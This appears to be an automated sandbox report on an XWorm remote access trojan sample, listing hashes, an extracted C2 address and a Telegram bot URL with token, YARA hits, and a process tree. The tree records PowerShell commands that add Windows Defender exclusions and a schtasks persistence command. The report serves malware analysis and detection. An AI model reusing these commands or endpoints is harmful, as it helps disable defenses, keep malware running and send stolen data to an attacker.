xworm | 3004ad4cc1142ca3483bba1a3e5c2244802c0d2df43ba3c066056e2ba8ef1046

General

Target

XClient.exe
Size

217KB
MD5

aafb349d724a1b6ee29e233ce3de9fe2
SHA1

6273688fc2a2f1216c4eab81232d03c65cd4745f
SHA256

3004ad4cc1142ca3483bba1a3e5c2244802c0d2df43ba3c066056e2ba8ef1046
SHA512

533af2f1093638fb181e43c9b12ff3e0fa4f599c824b1ec31181f86306cf7d626820a5cf7e70908cb21d77d91d7e6b7b09c696e056092fe3de0eb273f1d81618
SSDEEP

1536:ZZrLnQSYxHCNJ9SEX+b8oeEVy6D5O3A8wunl+g5zU730/jyY:ZFQxHCNPD+b8+7O3AJC+L3HY

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

20.ip.gl.ply.gg:25725

<Xwormmm>:123

Attributes

Install_directory
%Temp%
install_file
chiacago.exe
telegram
https://api.telegram.org/bot7378508941:AAFi7xPXoDjOY7Whre_FGKytWzP0LZ_WBF8/sendMessage?chat_id=6877286426

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2200-1-0x0000000000D00000-0x0000000000D3C000-memory.dmp	family_xworm
behavioral1/files/0x0030000000014c2d-36.dat	family_xworm
behavioral1/memory/2216-38-0x0000000000A20000-0x0000000000A5C000-memory.dmp	family_xworm
behavioral1/memory/1644-47-0x0000000000F20000-0x0000000000F5C000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2168	powershell.exe
2648	powershell.exe
2640	powershell.exe
2456	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chiacago.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chiacago.lnk	XClient.exe

Executes dropped EXE 2 IoCs

pid	Process
2216	chiacago.exe
1644	chiacago.exe

Loads dropped DLL 1 IoCs

pid	Process
2200	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\chiacago = "C:\\Users\\Admin\\AppData\\Local\\Temp\\chiacago.exe"	XClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2168	powershell.exe
2648	powershell.exe
2640	powershell.exe
2456	powershell.exe
2200	XClient.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	XClient.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2200	XClient.exe
Token: SeDebugPrivilege	2216	chiacago.exe
Token: SeDebugPrivilege	1644	chiacago.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2200	XClient.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2168	2200	XClient.exe	28
PID 2200 wrote to memory of 2168	2200	XClient.exe	28
PID 2200 wrote to memory of 2168	2200	XClient.exe	28
PID 2200 wrote to memory of 2648	2200	XClient.exe	30
PID 2200 wrote to memory of 2648	2200	XClient.exe	30
PID 2200 wrote to memory of 2648	2200	XClient.exe	30
PID 2200 wrote to memory of 2640	2200	XClient.exe	32
PID 2200 wrote to memory of 2640	2200	XClient.exe	32
PID 2200 wrote to memory of 2640	2200	XClient.exe	32
PID 2200 wrote to memory of 2456	2200	XClient.exe	34
PID 2200 wrote to memory of 2456	2200	XClient.exe	34
PID 2200 wrote to memory of 2456	2200	XClient.exe	34
PID 2200 wrote to memory of 2944	2200	XClient.exe	36
PID 2200 wrote to memory of 2944	2200	XClient.exe	36
PID 2200 wrote to memory of 2944	2200	XClient.exe	36
PID 2060 wrote to memory of 2216	2060	taskeng.exe	42
PID 2060 wrote to memory of 2216	2060	taskeng.exe	42
PID 2060 wrote to memory of 2216	2060	taskeng.exe	42
PID 2060 wrote to memory of 1644	2060	taskeng.exe	43
PID 2060 wrote to memory of 1644	2060	taskeng.exe	43
PID 2060 wrote to memory of 1644	2060	taskeng.exe	43

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\chiacago.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'chiacago.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "chiacago" /tr "C:\Users\Admin\AppData\Local\Temp\chiacago.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2944

C:\Windows\system32\taskeng.exe
taskeng.exe {0F24894A-79EC-4544-A251-BA4D6BE64E7E} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Users\Admin\AppData\Local\Temp\chiacago.exe
  C:\Users\Admin\AppData\Local\Temp\chiacago.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Users\Admin\AppData\Local\Temp\chiacago.exe
  C:\Users\Admin\AppData\Local\Temp\chiacago.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\chiacago.exe

Filesize
217KB

MD5
aafb349d724a1b6ee29e233ce3de9fe2

SHA1
6273688fc2a2f1216c4eab81232d03c65cd4745f

SHA256
3004ad4cc1142ca3483bba1a3e5c2244802c0d2df43ba3c066056e2ba8ef1046

SHA512
533af2f1093638fb181e43c9b12ff3e0fa4f599c824b1ec31181f86306cf7d626820a5cf7e70908cb21d77d91d7e6b7b09c696e056092fe3de0eb273f1d81618

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f2488c28a45a1786438645c8d0a3060a

SHA1
128dbd9287ef9a4c5f62f0b9c82e9e4e13b04ed6

SHA256
3408d1ec60524f822f8aa3e5efa4ea5477ce65742aa938f7f2d62ddd7409fddf

SHA512
f02526dd4fe26d0a1d282c23219ad59350d42452f3736d9ec1eb90deeab10b646008b82f190c93671e4b60ac9c5d869b05719fcce9e9fb93f50d1302ac7c29ec

Download Submit
\Users\Admin\AppData\Local\Temp\tmp7704.tmp

Filesize
100KB

MD5
1b942faa8e8b1008a8c3c1004ba57349

SHA1
cd99977f6c1819b12b33240b784ca816dfe2cb91

SHA256
555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc

SHA512
5aee3d59478d41ddd5885c99b394c9c4983064e2b3528db1a3f7fc289662bced4f57d072517bbe7573c6d1789435e987ef1aa9cc91f372bcfd30bc016675fa43

Download Submit
memory/1644-47-0x0000000000F20000-0x0000000000F5C000-memory.dmp

Filesize
240KB

Download
memory/2168-6-0x0000000002BE0000-0x0000000002C60000-memory.dmp

Filesize
512KB

Download
memory/2168-7-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2168-8-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2200-32-0x000007FEF50D3000-0x000007FEF50D4000-memory.dmp

Filesize
4KB

Download
memory/2200-31-0x000000001B080000-0x000000001B100000-memory.dmp

Filesize
512KB

Download
memory/2200-0-0x000007FEF50D3000-0x000007FEF50D4000-memory.dmp

Filesize
4KB

Download
memory/2200-33-0x0000000000CE0000-0x0000000000CEC000-memory.dmp

Filesize
48KB

Download
memory/2200-34-0x000000001B080000-0x000000001B100000-memory.dmp

Filesize
512KB

Download
memory/2200-40-0x0000000002290000-0x00000000022CA000-memory.dmp

Filesize
232KB

Download
memory/2200-45-0x000000001BB90000-0x000000001BC1E000-memory.dmp

Filesize
568KB

Download
memory/2200-1-0x0000000000D00000-0x0000000000D3C000-memory.dmp

Filesize
240KB

Download
memory/2200-48-0x000000001AC50000-0x000000001AC5A000-memory.dmp

Filesize
40KB

Download
memory/2200-49-0x000000001AC60000-0x000000001AC6A000-memory.dmp

Filesize
40KB

Download
memory/2216-38-0x0000000000A20000-0x0000000000A5C000-memory.dmp

Filesize
240KB

Download
memory/2648-15-0x0000000001D60000-0x0000000001D68000-memory.dmp

Filesize
32KB

Download
memory/2648-14-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads